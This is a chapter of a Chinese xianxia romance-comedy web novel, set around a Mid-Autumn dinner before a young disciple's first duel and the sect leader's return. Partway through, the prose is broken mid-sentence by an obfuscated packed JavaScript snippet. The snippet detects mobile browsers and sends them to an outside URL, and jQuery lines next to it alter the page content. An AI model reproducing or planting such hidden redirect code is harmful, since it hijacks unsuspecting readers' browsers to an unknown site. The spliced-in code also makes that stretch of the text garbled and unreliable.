11.第十一章
作品:《第一个多情女人的出现》 风潇忍不住抬头看了他一眼。
秦时似无所觉,仍在信誓旦旦地规划:“一会儿把你送回去,我就去寻今日带我领书领药的师兄,约他三日后切磋。”
“他的修为虽略低于徐师兄,却也是宗门里靠前的,应当很适合历练。”
风潇满意点头。
“那你与他切磋前,我来给你备一席,”她粲然一笑,“就当是为你鼓气,顺便过个中秋。”
秦时不争气地被迷了眼。
上了云雾山,风姑娘变成风长老,在他心里却改换回风潇的本名。大约是一同进入流云宗的缘故,他总觉得两人比旁人多了些故人之间的亲近。
就好像此时,在太阳徐徐落山之际,他自觉地找来演武场,陪她把东西一起搬回去。
毕竟是送自己进流云宗的恩人,又是个没什么力气的弱女子,哪里搬得动这么些东西?为报恩之故,也为了一同上山的情谊,帮忙搬点东西倒也正常。
秦时心想。
扛了一张桌子,桌子上摆了几页纸和一大张布幡,手里还攥着那根挂布幡用的竹竿,秦时纵是体力不错,也走得有些颤颤巍巍的。
然而风潇就慢悠悠走在他身边,低头数着小布袋里收的银子,与他有一搭没一搭地聊徐天凌和比武切磋的事。
夕阳罩在她面庞上,使她的瞳孔显得有些发棕。额角的碎发、细长的眉、颤动的睫毛,都透出些金色的几近透明的光。
她轻巧地、自然地说,我们过个中秋。
秦时突然就觉得桌子没有了重量,竹竿也没有了长度,与他一道轻飘飘地踩在地面上,却没有脚下土地的实感。
他听到自己放轻了声音,像是怕惊扰到某种悄悄流动的氛围,很小心地说:
“好。”
……
两日后的午后时分,秦时嘴比脑子快,脱口而出一句:“不行!”
然而他也并不知道为何不行。
风潇请来帮忙看摊子的,是程臻引荐的外门弟子,名叫邢潜。两天下来也与风潇秦时混熟了些,知道这位风长老并没有什么架子,平日里也愿与她这个外门弟子说笑。
听说晚上秦时要去风潇处一起吃中秋饭,当即就半开玩笑地撒娇:“我也要去!”
风潇愣了一秒,有些发愁。若是平日,她自然来者不拒,然而今日这顿饭……
“不行!”秦时这一声突兀又坚定,显得他有些反应太过激烈,却使风潇松了口气。
她与邢潜一齐扭头,疑惑地看着秦时,等他的解释。
“风长老今日是为两人备的菜,若是多一个人,大家都吃不饱。明天我要与王师兄比武的,怎么能吃不饱呢?”
话一出口,秦时自己都觉得有些荒谬。
风潇却煞有介事地点点头:“确实只备了两个人的菜。”
秦时的尴尬转瞬消散大半,只觉自己已与风潇形成了某种独处的默契,从一个龌龊的小贼变作有了同伙,突然就有些口干舌燥起来。
终于捱到了黄昏,与邢潜道了别,东西由邢潜收了搬走,秦时却仍是跟着风潇回去了。
门口放着门人送来的食盒,是风潇提前托人去山下置办的。
满满当当摆了一整桌。中间一盘橙红油亮的清蒸蟹,旁边是一碟放了姜末的香醋。一盘桂花糖藕,一碟清炒藕片,一蛊火腿冬瓜汤,另有一盘切开的月饼。
怎么看都是够三人吃的份量。
秦时心头有什么答案呼之欲出,像要扑通扑通地撞破他的胸口飞出去,他极力抑制,于是忍不住呼吸变得收敛。
风潇大大方方地招呼他坐,斟了一杯花雕酒递过去,秦时双手接过,却见她面前的杯子里只是热水,连茶叶也不见。
动了筷子,又见她始终不曾把筷子伸向正中央那盘蟹,秦时终于忍不住出声:“怎么不吃蟹?”
“来月事了,吃不得寒凉之物,”风潇面不改色,“你吃你的,不必管我。”
秦时刚舀了一勺汤喝,闻言险些呛到,咳嗽了好几声。
他们的关系已经近到可以直言月事的程度了吗?
他恍觉有种太暧昧的气氛在螃蟹上空流转,使得那蟹壳的橘红色都显得更鲜艳欲滴。
秦时不愿自己显得太大惊小怪或见识短浅,于是很生硬地接:“明白,吃了寒凉之物会腹痛,对吧?”
“对,很痛。”风潇随口回答。
“如果实在不舒服,明日就不要去看了。”秦时劝道。
风潇摇摇头:“怎么着也是你在流云宗的第一场比试,我无论如何都要去看的。”
不亲眼盯着,有些事我不放心。
秦时不说话了,心思悄悄绕了十八弯。
因螃蟹难拆,这顿饭吃了许久,直到天色全黑,才终于吃完。秦时很有眼力见地收拾碗筷,边在心里暗暗盘算。
毕竟是中秋佳节,吃过了团圆饭,一起赏个月不过分吧?
可是赏月未免显得有些俗套了,何况孤男寡女一起看月亮,听起来总有几分怪异,他有些邀不出口。
正当他绞尽脑汁要寻个事情做时,一股毫无预兆的绞痛却自下腹猛地窜起。
秦时面色倏地一白。
他能察觉到一股汹涌的气流,以几乎是势不可挡的势头,直冲后方关隘。
风潇在一旁犹未察觉,自顾自地念叨:“我觉得月饼没有粽子好吃,还是过端午好。”
他身体向来康健,又因习武之故,比旁人还要硬朗许多,不过是几只螃蟹,怎么会如此难忍?
不行,绝不能在她面前……
秦时咬紧牙关,不自觉地屏住呼吸,所有注意力死死凝聚,整个下半身如同石雕一般,不敢妄动分毫。
腹部的绞痛却越发明显,以极快的速度向上向下蔓延,他额角渗出细密的冷汗,深知一丝一毫的松懈都会导致全线崩溃。
秦时不敢再耗,努力控制住声音不颤抖,简短地开口告辞。
他生平第一次如此庆幸,风潇没有多留。
一出她院子大门,秦时立刻使出了浑身武艺,一路上飞檐走壁,疾如闪电,以最快速度赶回了自己的院子。
……
次日一早,风潇是被叩门声吵醒的。
不是约的午时比试吗?她揉着眼,迷迷糊糊地去开门。
“风长老,”徐天凌立在门外,仍是低头不看她,“掌门与林长老已至宗门,纪长老请您即刻收拾收拾,一同去迎。”
风潇这才清醒过来。
算起来距离上次徐天凌来通知她,正好过去了四五天,的确是二人该回来的日子。只是……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390977|182570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“怎么又是你来通知我?”她不解道,“宗里如今这么缺外门弟子吗?”
这次却不是徐天凌自请前来的,只是掌门她们回来时,他恰在纪长老处请教完打算告辞。纪啸想起上次就是他来通知风潇,便随口叫他带她过来。
然而此事放在风潇这里,指不定要被她嚼成什……
“还是你这么快就想见我?”
……他就知道。
刚睡醒的风潇比平日里戏弄他时少了些促狭与狡黠,却多了点慵懒松弛的味道,听起来便更像老朋友的打趣,甚至是旧情人的调情。
这次不能再落荒而逃了。
“风长老说笑了。”他一脸正色,既不抬头也不看她,立在原地像块石头。
他听见她轻笑着走远了,扔下一句语调很轻佻的“耳朵尖”。
门一合上,徐天凌慌忙去摸自己的耳朵,却发现并不发烫,甚至在太阳还没完全出来的清晨,微微有些发凉。
又被骗了。
门很快又打开,风潇已飞速洗了脸罩上外袍出来。徐天凌只当什么都没发生,带着她去往议事堂。
徐天凌与其他弟子一并在外头守着,风潇进了议事堂。
便见上首坐着个面生的女子,正是传闻中的掌门祝寻锋。却不像风潇想象中一般严肃,只斜斜倚着座椅,并未束冠,墨发松松一挽,发丝随意耷拉着。
纪啸把这段时日宗门大事一一报来,她虽看着在听,嘴边却总噙着点懒洋洋的笑意,有种世间全无紧要事的惫懒。
祝掌门左首处的左长老林清漪,反而是个冷松般的女子。始终端正坐着,背脊笔直,肩线平正,鸦青色袍子上不见半分褶皱,唇线也总抿得很紧。
纪啸汇报完一大串,终于轮到了风潇与秦时这桩事。
祝寻锋听纪啸把前因后果说了,很新奇地挑眉看风潇:“你很有胆识呢,敢这样孤身上山来,和我流云宗这样大一个宗门谈条件。”
“低调,”风潇觉得她夸的在点上,呲着牙花直乐,“也多亏了有纪长老识时务者为俊杰的大智慧。”
纪啸嘴角抽了抽。
听着不像正经夸自己的好话,于是插进去挑开话题:“她带来的那孩子秦时,确实是天纵英才,掌门尽可去看……”
“总有机会看的,”祝寻锋摆摆手,“再有天赋,还能越得过我们昭熠不成?反倒是你招进来的这个新长老,又聪慧又有胆气,很能补咱们流云宗的短板呢。”
“这不是巧了吗?今日就恰巧是看那孩子的机会,”纪啸找到了话头,“我刚听说,他今日正约了他师兄在演武场切磋。”
“还是他的头一次呢。”
祝寻锋终于来了点兴趣。
“还有这样的热闹看?”她高兴地起身,去拉林清漪一并起来,还不忘招呼上风潇,“走,我们看看去!”
于是在外头飞速接受了弟子们的迎接,就命他们各自去忙自己的事。而后刚回宗的掌门并几位长老,一同来到了演武场上。
宗门虽鼓励弟子切磋,却从来只是放任的态度,这样声势浩大地来看,是很难得的场面。
越来越多的弟子围拢过来,齐齐等着瞧是怎样一场比武,能有如此大的吸引力。
等来等去,王师兄都已到了半晌,却迟迟不见秦时的身影。